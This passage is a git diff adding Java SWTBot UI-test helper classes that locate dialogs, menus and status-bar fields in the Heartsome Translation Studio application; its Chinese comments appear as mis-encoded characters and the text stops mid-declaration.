b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/ProjectSettingDialog.java new file mode 100644 index 0000000..e4c0f20 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/ProjectSettingDialog.java @@ -0,0 +1,221 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.widgets.HsSWTBotTable; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotCombo; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotList; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * 项目设置对è¯æ¡† + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class ProjectSettingDialog extends SWTBotShell { + + private SWTBot dlgBot = this.bot(); + + /** + * 按标题查找对è¯æ¡† + */ + public ProjectSettingDialog() { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitleProjectSetting")).widget); + } + + /** + * @return 树节点:项目信æ¯; + */ + public SWTBotTreeItem treiProjectInfo() { + return dlgBot.tree().expandNode(TsUIConstants.getString("treiProjectInfo")); + } + + /** + * @return 文本框:客户; + */ + public SWTBotText txtWLblClient() { + return dlgBot.textWithLabel(TsUIConstants.getString("txtWLblClient_")); + } + + /** + * @return 文本框:公å¸; + */ + public SWTBotText txtWLblCompany() { + return dlgBot.textWithLabel(TsUIConstants.getString("txtWLblCompany")); + } + + /** + * @return 文本框:邮箱; + */ + public SWTBotText txtWLblEMail() { + return dlgBot.textWithLabel(TsUIConstants.getString("txtWLblEMail")); + } + + /** + * @return 文本框:备注; + */ + public SWTBotText txtWLblRemark() { + return dlgBot.textWithLabel(TsUIConstants.getString("txtWLblRemark")); + } + + /** + * @return 树节点:项目语言; + */ + public SWTBotTreeItem treiProjectLanguage() { + return treiProjectInfo().expandNode(TsUIConstants.getString("treiProjectLanguage")); + } + + /** + * @return 下拉列表:æºè¯­è¨€; + */ + public SWTBotCombo cmbSrcLang() { + return dlgBot.comboBox(); + } + + /** + * @return 列表:å¯é€‰ç›®æ ‡è¯­è¨€; + */ + public SWTBotList lstTgtLangAvailable() { + return dlgBot.list(); + } + + /** + * @return 列表:已选目标语言; + */ + public SWTBotList lstTgtLangSelected() { + return dlgBot.list(1); + } + + /** + * @return 按钮:添加; + */ + public SWTBotButton btnAddToRight() { + return dlgBot.button(TsUIConstants.getString("btnAddToRight")); + } + + /** + * @return 按钮:删除; + */ + public SWTBotButton btnDeleteToLeft() { + return dlgBot.button(TsUIConstants.getString("btnDeleteToLeft")); + } + + /** + * @return 按钮:删除所有; + */ + public SWTBotButton btnDeleteAll() { + return dlgBot.button(TsUIConstants.getString("btnDeleteAll")); + } + + /** + * @return 树节点:记忆库设置; + */ + public SWTBotTreeItem treiTmSetting() { + return treiProjectInfo().expandNode(TsUIConstants.getString("treiTmSetting")); + } + + /** + * @return 按钮:导入 TMX; + */ + public SWTBotButton btnImportTMX() { + return dlgBot.button(TsUIConstants.getString("btnImportTMX")); + } + + /** + * @return 树节点:术语库设置; + */ + public SWTBotTreeItem treiTbSetting() { + return treiProjectInfo().expandNode(TsUIConstants.getString("treiTbSetting")); + } + + /** + * @return 按钮:导入 TBX; + */ + public SWTBotButton btnImportTBX() { + return dlgBot.button(TsUIConstants.getString("btnImportTBX")); + } + + /** + * @return 表格:记忆库/术语库列表; + */ + public HsSWTBotTable table() { + return new HsSWTBotTable(dlgBot.table()); + } + + /** + * @return 文本 列å:å称; + */ + public String tblColName() { + return TsUIConstants.getString("tblColName"); + } + + /** + * @return 文本 列å:类型; + */ + public String tblColType() { + return TsUIConstants.getString("tblColType"); + } + + /** + * @return 文本 列å:æœåŠ¡å™¨åœ°å€; + */ + public String tblColAddress() { + return TsUIConstants.getString("tblColAddress"); + } + + /** + * @return 文本 列å:是å¦åŒ¹é…; + */ + public String tblColMatch() { + return TsUIConstants.getString("tblColMatch"); + } + + /** + * @return 文本 列å:默认库; + */ + public String tblColDefaultDB() { + return TsUIConstants.getString("tblColDefaultDB"); + } + + /** + * @return 按钮:添加; + */ + public SWTBotButton btnAdd() { + return dlgBot.button(TsUIConstants.getString("btnAddA")); + } + + /** + * @return 按钮:创建; + */ + public SWTBotButton btnCreate() { + return dlgBot.button(TsUIConstants.getString("btnCreate")); + } + + /** + * @return 按钮:删除; + */ + public SWTBotButton btnDelete() { + return dlgBot.button(TsUIConstants.getString("btnDeleteD")); + } + + /** + * @return 按钮:å–消; + */ + public SWTBotButton btnCancel() { + return dlgBot.button(TsUIConstants.getString("btnCancel")); + } + + /** + * @return 按钮:确定; + */ + public SWTBotButton btnOK() { + return dlgBot.button(TsUIConstants.getString("btnOK")); + } + +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/RenameProblemsDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/RenameProblemsDialog.java new file mode 100644 index 0000000..9a6c068 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/RenameProblemsDialog.java @@ -0,0 +1,123 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import static org.junit.Assert.assertTrue; + +import java.text.MessageFormat; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.exceptions.WidgetNotFoundException; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotLabel; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; + +/** + * é‡å‘½å问题对è¯æ¡† + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class RenameProblemsDialog extends SWTBotShell { + + private SWTBot dialogBot = this.bot(); + private String name; + private String invalidChar; + + /** + * 按钮标题查找对è¯æ¡† + */ + public RenameProblemsDialog() { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitleRenameProblems")).widget); + } + + /** + * @param name + * 文件å,用于判断是å¦å‡ºçŽ° out of sync 或å称éžæ³•çš„æ示 + * @param invalidChar + * 若为å称éžæ³•çš„情况,需è¦æŒ‡å‡ºå…¶ä¸­çš„éžæ³•å­—符 + */ + public RenameProblemsDialog(String name, String invalidChar) { + this(); + this.name = name; + if (invalidChar != null) { + this.invalidChar = invalidChar; + } + } + + /************************************ + * 常用方法 + ************************************/ + + /** + * @return 是表示出现 out of sync æ示 + */ + public boolean isOutOfSync() { + assertTrue("å‚数错误:未设置 name。", name != null); + try { + lblOutOfSync(name).isVisible(); + return true; + } catch (WidgetNotFoundException e) { + return false; + } + } + + /** + * @return 是表示出现å称éžæ³•æ示; + */ + public boolean isInvalidMsgVisible() { + assertTrue("å‚数错误:未设置 name 或 invalidChar。", (name != null && invalidChar != null)); + try { + lblInvalidChar(name, invalidChar).isVisible(); + return true; + } catch (WidgetNotFoundException e) { + return false; + } + } + + /************************************ + * ç•Œé¢æ˜ å°„ + ************************************/ + + /** + * @return 按钮:确定; + */ + public SWTBotButton btnOK() { + return dialogBot.button(TsUIConstants.getString("btnOK")); + } + + /** + * @return 按钮:详情 未展开; + */ + public SWTBotButton btnDetailsCollapsed() { + return dialogBot.button(TsUIConstants.getString("btnDetailsCollapsed")); + } + + /** + * @return 按钮:详情 展开; + */ + public SWTBotButton btnDetailsExpanded() { + return dialogBot.button(TsUIConstants.getString("btnDetailsExpanded")); + } + + /** + * @param name + * 文件å,在信æ¯ä¸­åŒ…å« + * @return 文字标签:out of sync ä¿¡æ¯çš„内容 + */ + public SWTBotLabel lblOutOfSync(String name) { // FIXME: æ–°çš„ Out Of Sync ä¿¡æ¯æŽ§ä»¶å¯èƒ½ä¸æ˜¯ Label 了。 + return dialogBot.label(MessageFormat.format(TsUIConstants.getString("lblOutOfSync"), name)); + } + + /** + * @param name + * å«éžæ³•å­—符的项目å + * @param invalidChar + * å称中的éžæ³•å­—符 + * @return 文字标签:项目å称éžæ³•çš„ä¿¡æ¯å†…容; + */ + public SWTBotLabel lblInvalidChar(String name, String invalidChar) { + return dialogBot.label(MessageFormat.format(TsUIConstants.getString("lblInvalidChar"), invalidChar, name)); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/RenameResourceDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/RenameResourceDialog.java new file mode 100644 index 0000000..0111b09 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/RenameResourceDialog.java @@ -0,0 +1,139 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import static org.junit.Assert.assertTrue; + +import java.text.MessageFormat; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.exceptions.WidgetNotFoundException; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotLabel; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; + +/** + * é‡å‘½å资æºå¯¹è¯æ¡† + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class RenameResourceDialog extends SWTBotShell { + + private SWTBot dialogBot = this.bot(); + private String newName; + private String oldName; + + /** + * 按钮标题查找对è¯æ¡† + */ + public RenameResourceDialog() { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitleRenameResource")).widget); + } + + /** + * @param oldName + * 旧文件å,仅用于判断是å¦å‡ºçŽ° out of sync çš„æ示 + */ + public RenameResourceDialog(String oldName) { + this(); + this.oldName = oldName; + + } + + /** + * @param oldName + * 旧文件å,仅用于判断是å¦å‡ºçŽ° out of sync çš„æ示 + * @param newName + * 新文件å,仅用于输入 + */ + public RenameResourceDialog(String oldName, String newName) { + this(oldName); + this.newName = newName; + } + + /************************************ + * 常用方法 + ************************************/ + + /** + * 在文本框中填写新å称 + */ + public void setNewName() { + assertTrue("å‚数错误:未设置 newName。", newName != null); + txtWLblNewName().isActive(); + txtWLblNewName().setText(newName); + } + + /** + * @param newName + * 需è¦åœ¨æ–‡æœ¬æ¡†ä¸­å¡«å†™çš„æ–°å称 + */ + public void setNewName(String newName) { + this.newName = newName; + setNewName(); + } + + /** + * @return 是表示出现 out of sync æ示 + */ + public boolean isOutOfSync() { + assertTrue("å‚数错误:未设置 oldName。", oldName != null); + try { + lblOutOfSync(oldName).isVisible(); + return true; + } catch (WidgetNotFoundException e) { + return false; + } + } + + /************************************ + * ç•Œé¢æ˜ å°„ + ************************************/ + + /** + * @return 按钮:å–消; + */ + public SWTBotButton btnCancel() { + return dialogBot.button(TsUIConstants.getString("btnCancel")); + } + + /** + * @return 按钮:确定; + */ + public SWTBotButton btnOK() { + return dialogBot.button(TsUIConstants.getString("btnOK")); + } + + /** + * @return 按钮:预览 未展开; + */ + public SWTBotButton btnPreviewCollapsed() { + return dialogBot.button(TsUIConstants.getString("btnPreviewCollapsed")); + } + + /** + * @return 按钮:预览 展开; + */ + public SWTBotButton btnPreviewExpanded() { + return dialogBot.button(TsUIConstants.getString("btnPreviewExpanded")); + } + + /** + * @param oldName + * 旧文件å,在信æ¯ä¸­åŒ…å« + * @return 文字标签:out of sync ä¿¡æ¯çš„内容 + */ + public SWTBotLabel lblOutOfSync(String oldName) { + return dialogBot.label(MessageFormat.format(TsUIConstants.getString("lblOutOfSync"), oldName)); + } + + /** + * @return 文本框:新å称; + */ + public SWTBotText txtWLblNewName() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblNewName")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/TS.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/TS.java new file mode 100644 index 0000000..5527553 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/TS.java @@ -0,0 +1,649 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.editors.XlfEditor; +import net.heartsome.cat.ts.test.ui.tasks.TsTasks; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeItem; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; +import net.heartsome.test.swtbot.finders.HsSWTWorkbenchBot; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.eclipse.finder.widgets.SWTBotEditor; +import org.eclipse.swtbot.eclipse.finder.widgets.SWTBotPerspective; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotMenu; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotToolbarButton; + +/** + * Translation Studio 程åºçš„主界é¢ï¼Œå•ä¾‹æ¨¡å¼ + * + * @author felix_lu + * @version + * @since JDK1.6 + */ +public final class TS extends SWTBotShell { + + private static HsSWTWorkbenchBot bot = HSBot.bot(); + private static TS ts; + + /** + * @param shell + */ + private TS(SWTBotShell shell) { + super(shell.widget); + } + + /** + * @return 当å‰çš„ TS 主界é¢å®žä¾‹; + */ + public static TS getInstance() { + if (ts == null) { + ts = new TS(bot.shell(TsUIConstants.getString("TsTitle"))); + } + return ts; + } + + /* ************ 工具æ æŒ‰é’® ************ */ + + /** + * @return 工具æ æŒ‰é’®ï¼šæ”¹å˜ç¼–辑器布局; + */ + public SWTBotToolbarButton tlbBtnWTltChangeEditorLayout() { + return bot.toolbarButton(TsUIConstants + .getString("tlbBtnWTltChangeEditorLayout")); + } + + /* ************ 状æ€æ  ************ */ + + /** + * 读å–编辑器未获å–焦点时状æ€æ ä¸­çš„ä¿¡æ¯ + */ + public String getStatusBarText() { + // TODO 需è¦è€ƒè™‘增加其他标识以æ高 CLabel 的识别准确性 + return bot.clabel().getText(); + } + + /** + * 解æžç¼–辑器获å–焦点时状æ€æ ä¸­çš„ä¿¡æ¯ï¼Œæ ¹æ®ä¼ å…¥çš„ Key å–得其在状æ€æ ä¸­çš„值 + */ + public String getStatusBarValueByKey(String statusBarKey) { + // TODO 需è¦è€ƒè™‘增加其他标识以æ高 CLabel 的识别准确性 + String text = bot.clabel().getText(); + String groupSign = TsUIConstants.getString("stbGroupSign"); + String delimiter = TsUIConstants.getString("stbDelimiter"); + return TsTasks.getStatusValueByKey(text, groupSign, delimiter, + statusBarKey); + } + + /** + * å–得状æ€æ â€œå½“å‰æ–‡ä»¶â€æ–‡å­—标签 + * + * @return String 状æ€æ â€œå½“å‰æ–‡ä»¶â€æ–‡å­—标签 + */ + public String stbiCurrentFile() { + return getStatusBarValueByKey(TsUIConstants + .getString("stbiCurrentFile")); + } + + /** + * å–得状æ€æ â€œé¡ºåºå·â€æ–‡å­—标签 + * + * @return String 状æ€æ â€œé¡ºåºå·â€æ–‡å­—标签 + */ + public String stbiSegmentNumber() { + return getStatusBarValueByKey(TsUIConstants + .getString("stbiSegmentNumber")); + } + + /** + * å–得状æ€æ â€œå¯è§æ–‡æœ¬æ®µæ•°â€æ–‡å­—标签 + * + * @return String 状æ€æ â€œå¯è§æ–‡æœ¬æ®µæ•°â€æ–‡å­—标签 + */ + public String stbiVisibleSegmentCount() { + return getStatusBarValueByKey(TsUIConstants + .getString("stbiVisibleSegmentCount")); + } + + /** + * å–得状æ€æ â€œæ–‡æœ¬æ®µæ€»æ•°â€æ–‡å­—标签 + * + * @return String 状æ€æ â€œæ–‡æœ¬æ®µæ€»æ•°â€æ–‡å­—标签 + */ + public String stbiSegmentTotalCount() { + return getStatusBarValueByKey(TsUIConstants + .getString("stbiSegmentTotalCount")); + } + + /** + * å–得状æ€æ â€œç”¨æˆ·åâ€æ–‡å­—标签 + * + * @return String 状æ€æ â€œç”¨æˆ·åâ€æ–‡å­—标签 + */ + public String stbiUsername() { + return getStatusBarValueByKey(TsUIConstants.getString("stbiUsername")); + } + + /* ************ é€è§†å›¾ ************ */ + + /** + * @return é€è§†å›¾ï¼šé»˜è®¤å¸ƒå±€; + */ + public SWTBotPerspective psptvBtnDefault() { + return bot.perspectiveByLabel(TsUIConstants + .getString("psptvBtnDefault")); + } + + /* ************ 常用æ“作 ************ */ + /** + * 激活或打开编辑器,仅é™åˆå¹¶æ‰“开的指定项目中的 XLIFF 文件 + * + * @param prjName + * è¦æ‰“开的项目å称 + */ + public void setCurrentFile(String prjName) { + SWTBotEditor editor = bot.editorByTitle(prjName); + if (editor != null) { + editor.show(); + } else { + ProjectTreeItem.getInstance(prjName).ctxMenuOpenProjectFiles(); + } + // TODO: 需è¦å®Œå–„对åŒåç¼–è¾‘å™¨çš„åˆ¤æ–­å’Œå¤„ç† + } + + /** + * 激活或打开编辑器,仅é™é¡¹ç›® XLIFF 目录中的 XLIFF 文件 + * + * @param prjName + * XLIFF 文件所在的项目å称 + * @param xlfFileName + * è¦æ‰“开的 XLIFF 文件å称 + */ + public void setCurrentFile(String prjName, String xlfFileName) { + SWTBotEditor editor = bot.editorByTitle(xlfFileName); + if (editor != null) { + editor.show(); + } else { + ProjectTreeView.doubleClickXlfFile(prjName, xlfFileName); + } + // TODO: 需è¦å®Œå–„对åŒåç¼–è¾‘å™¨çš„åˆ¤æ–­å’Œå¤„ç† + } + + /* ************ 编辑器 ************ */ + /** + * ä¸æŒ‡å®šæ–‡ä»¶å时,å–得当å‰æ¿€æ´»çš„编辑器 + * + * @return XlfEditor 当å‰æ¿€æ´»çš„编辑器 + */ + public XlfEditor getXlfEditor() { + return new XlfEditor(bot.activeEditor()); + } + + /** + * 得到指定文件å所在的编辑器 + * + * @param fileName + * 指定的文件å + * @return XlfEditor 得到的编辑器 + */ + public XlfEditor getXlfEditor(String fileName) { + SWTBotEditor editor = bot.editorByTitle(fileName); + editor.show(); + return new XlfEditor(editor); + } + + /* ************ èœå•é¡¹ ************ */ + + /** + * 文件èœå• + */ + public SWTBotMenu menuFile() { + return bot.menu(TsUIConstants.getString("menuFile")); + } + + /** + * @return èœå•ï¼šæ–‡ä»¶ > 新建; + */ + public SWTBotMenu menuFileNew() { + return menuFile().menu(TsUIConstants.getString("menuFileNew")); + } + + /** + * @return èœå•ï¼šæ–‡ä»¶ > 新建 > 项目...; + */ + public SWTBotMenu menuFileNewProject() { + return menuFileNew() + .menu(TsUIConstants.getString("menuFileNewProject")); + } + + /** + * @return èœå•ï¼šæ–‡ä»¶ > 打开; + */ + public SWTBotMenu menuFileOpenFile() { + return menuFile().menu(TsUIConstants.getString("menuFileOpenFile")); + } + + /** + * @return èœå•ï¼šæ–‡ä»¶ > 关闭; + */ + public SWTBotMenu menuFileClose() { + return menuFile().menu(TsUIConstants.getString("menuFileClose")); + } + + /** + * @return èœå•ï¼šæ–‡ä»¶ > 关闭所有; + */ + public SWTBotMenu menuFileCloseAll() { + return menuFile().menu(TsUIConstants.getString("menuFileCloseAll")); + } + + /** + * @return èœå•ï¼šæ–‡ä»¶ > ä¿å­˜; + */ + public SWTBotMenu menuFileSave() { + return menuFile().menu(TsUIConstants.getString("menuFileSave")); + } + + /** + * @return èœå•ï¼šæ–‡ä»¶ > å¦å­˜ä¸º; + */ + public SWTBotMenu menuFileSaveAs() { + return menuFile().menu(TsUIConstants.getString("menuFileSaveAs")); + } + + /** + * @return èœå•ï¼šæ–‡ä»¶ > ä¿å­˜æ‰€æœ‰; + */ + public SWTBotMenu menuFileSaveAll() { + return menuFile().menu(TsUIConstants.getString("menuFileSaveAll")); + } + + /** + * @return èœå•ï¼šæ–‡ä»¶ > 退出; + */ + public SWTBotMenu menuFileExit() { + return menuFile().menu(TsUIConstants.getString("menuFileExit")); + } + + /** + * 编辑èœå• // TODO + * + * @return + */ + public SWTBotMenu menuEdit() { + return bot.menu(TsUIConstants.getString("menuEdit")); + } + + /** + * @return èœå•ï¼šç¼–辑 > 删除; + */ + public SWTBotMenu menuEditDelete() { + return menuEdit().menu(TsUIConstants.getString("menuEditDelete")); + } + + /** + * 查看èœå• + */ + public SWTBotMenu menuView() { + return bot.menu(TsUIConstants.getString("menuView")); + } + + /** + * @return èœå•ï¼šæŸ¥çœ‹ > TM 匹é…é¢æ¿; + */ + public SWTBotMenu menuViewTMMatchesPanel() { + return menuView().menu( + TsUIConstants.getString("menuViewTMMatchesPanel")); + } + + /** + * @return èœå•ï¼šæŸ¥çœ‹ > 快译é¢æ¿; + */ + public SWTBotMenu menuViewQuickTranslationPanel() { + return menuView().menu( + TsUIConstants.getString("menuViewQuickTranslationPanel")); + } + + /** + * @return èœå•ï¼šæŸ¥çœ‹ > 批注é¢æ¿; + */ + public SWTBotMenu menuViewNotesPanel() { + return menuView().menu(TsUIConstants.getString("menuViewNotesPanel")); + } + + /** + * @return èœå•ï¼šæŸ¥çœ‹ > 术语é¢æ¿; + */ + public SWTBotMenu menuViewTerminologyPanel() { + return menuView().menu( + TsUIConstants.getString("menuViewTerminologyPanel")); + } + + /** + * @return èœå•ï¼šæŸ¥çœ‹ > 文档属性; + */ + public SWTBotMenu menuViewDocumentPropertiesPanel() { + return menuView().menu( + TsUIConstants.getString("menuViewDocumentPropertiesPanel")); + } + + /** + * æ•°æ®åº“èœå• // TODO + */ + public SWTBotMenu menuDB() { + return bot.menu(TsUIConstants.getString("menuDB")); + } + + /** + * @return èœå•ï¼šæ•°æ®åº“ > 记忆库管ç†; + */ + public SWTBotMenu menuDBManagement() { + return menuDB().menu(TsUIConstants.getString("menuDBManagement")); + } + + /** + * @return èœå•ï¼šæ•°æ®åº“ > 术语库管ç†; + */ + public SWTBotMenu menuTeriDBManagement() { + return menuDB().menu(TsUIConstants.getString("menuTeriDBManagement")); + } + + /** + * @return èœå•ï¼šæ•°æ®åº“ > 导入 TMX; + */ + public SWTBotMenu menuDBImportTMXFile() { + return menuDB().menu(TsUIConstants.getString("menuDBImportTMXFile")); + } + + /** + * @return èœå•ï¼šæ•°æ®åº“ > 导出 TMX; + */ + public SWTBotMenu menuDBExportAsTMX() { + return menuDB().menu(TsUIConstants.getString("menuDBExportAsTMX")); + } + + /** + * @return èœå•ï¼šæ•°æ®åº“ > 导入 TBX; + */ + public SWTBotMenu menuDBImportTBXFile() { + return menuDB().menu(TsUIConstants.getString("menuDBImportTBXFile")); + } + + /** + * @return èœå•ï¼šæ•°æ®åº“ > 导出 TBX; + */ + public SWTBotMenu menuDBExportAsTBX() { + return menuDB().menu(TsUIConstants.getString("menuDBExportAsTBX")); + } + + // + // /** + // * @return èœå•ï¼šæ•°æ®åº“ > ç”Ÿæˆ CSV 模æ¿; + // */ + // public SWTBotMenu menuDBCSVTemplate() { + // return menuDB().menu(TsUIConstants.getString("menuDBCSVTemplate")); + // } + // + // /** + // * @return èœå•ï¼šæ•°æ®åº“ > 导入 CSV 文件; + // */ + // public SWTBotMenu menuDBImportCSVFile() { + // return menuDB().menu(TsUIConstants.getString("menuDBImportCSVFile")); + // } + // + // /** + // * @return èœå•ï¼šæ•°æ®åº“ > 导出 CSV 文件; + // */ + // public SWTBotMenu menuDBExportAsCSVFile() { + // return menuDB().menu(TsUIConstants.getString("menuDBExportAsCSVFile")); + // } + + /** + * 工具èœå• // TODO + */ + + /** + * 翻译èœå• // TODO + */ + public SWTBotMenu menuTranslation() { + return bot.menu(TsUIConstants.getString("menuTranslation")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 预翻译; + */ + public SWTBotMenu menuTranslationPreTrans() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationPreTrans")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > å¤åˆ¶æ¥æºåˆ°ç›®æ ‡; + */ + public SWTBotMenu menuTranslationCopySourceToTarget() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationCopySourceToTarget")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > æœç´¢æœ¯è¯­åº“; + */ + public SWTBotMenu menuTranslationSearchTermDB() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationSearchTermDB")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 相关æœç´¢; + */ + public SWTBotMenu menuTranslationSearchTMDB() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationSearchTMDB")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 添加术语到术语库; + */ + public SWTBotMenu menuTranslationAddToTermDB() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationAddToTermDB")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 添加选中文本段到记忆库; + */ + public SWTBotMenu menuTranslationAddToTM() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationAddToTM")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 添加到记忆库并跳转到下一文本段; + */ + public SWTBotMenu menuTranslationAddToTMAndNext() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationAddToTMAndNext")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 添加到记忆库并跳转到下一éžå®Œå…¨åŒ¹é…; + */ + public SWTBotMenu menuTranslationAddToTMAndNextNon100Match() { + return menuTranslation().menu( + TsUIConstants + .getString("menuTranslationAddToTMAndNextNon100Match")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 批准文本段; + */ + public SWTBotMenu menuTranslationApproveSegment() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationApproveSegment")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > é”定文本段; + */ + public SWTBotMenu menuTranslationLockSegment() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationLockSegment")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > é”定é‡å¤æ–‡æœ¬æ®µ; + */ + public SWTBotMenu menuTranslationLockRepetition() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationLockRepetition")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 分割文本段; + */ + public SWTBotMenu menuTranslationSplitSegment() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationSplitSegment")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > åˆå¹¶æ–‡æœ¬æ®µ; + */ + public SWTBotMenu menuTranslationMergeSegments() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationMergeSegments")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 删除译文; + */ + public SWTBotMenu menuTranslationDeleteTranslation() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationDeleteTranslation")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 删除批注; + */ + public SWTBotMenu menuTranslationDeleteNotes() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationDeleteNotes")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 删除匹é…; + */ + public SWTBotMenu menuTranslationDeleteMatches() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationDeleteMatches")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 执行快速翻译; + */ + public SWTBotMenu menuTranslationQuickTranslate() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationQuickTranslate")); + } + + /** + * @return èœå•é¡¹ï¼šç¿»è¯‘ > 执行ç¹æ®–翻译; + */ + public SWTBotMenu menuTranslationPropagateTranslate() { + return menuTranslation().menu( + TsUIConstants.getString("menuTranslationPropagateTranslate")); + } + + // /** + // * @return èœå•ï¼šç¿»è¯‘ > 接å—所有文本段的 100ï¼… 匹é…; + // */ + // public SWTBotMenu menuTranslationAccept100MatchesForAllSegments() { + // return + // menuTranslation().menu(TsUIConstants.getString("menuTranslationAccept100MatchesForAllSegments")); + // } + // + // /** + // * @return èœå•ï¼šç¿»è¯‘ > 接å—并批准所有文本段的 100ï¼… 匹é…; + // */ + // public SWTBotMenu + // menuTranslationAcceptAndApprove100MatchesForAllSegments() { + // return + // menuTranslation().menu(TsUIConstants.getString("menuTranslationAcceptAndApprove100MatchesForAllSegments")); + // } + // + // /** + // * @return èœå•ï¼šç¿»è¯‘ > 接å—所有文本段的 101ï¼… 匹é…; + // */ + // public SWTBotMenu menuTranslationAccept101MatchesForAllSegments() { + // return + // menuTranslation().menu(TsUIConstants.getString("menuTranslationAccept101MatchesForAllSegments")); + // } + // + // /** + // * @return èœå•ï¼šç¿»è¯‘ > 接å—并批准所有文本段的 101ï¼… 匹é…; + // */ + // public SWTBotMenu + // menuTranslationAcceptAndApprove101MatchesForAllSegments() { + // return + // menuTranslation().menu(TsUIConstants.getString("menuTranslationAcceptAndApprove101MatchesForAllSegments")); + // } + + /** + * å“质检查èœå• // TODO + */ + + /** + * 项目èœå• // TODO + */ + public SWTBotMenu menuProject() { + return bot.menu(TsUIConstants.getString("menuProject")); + } + + /** + * @return èœå•ï¼šé¡¹ç›® > 项目设置; + */ + public SWTBotMenu menuProjectSetting() { + return menuProject() + .menu(TsUIConstants.getString("menuProjectSetting")); + } + + /** + * @return èœå•ï¼šé¡¹ç›® > æ–‡ä»¶åˆ†æž > 字数分æž; + */ + public 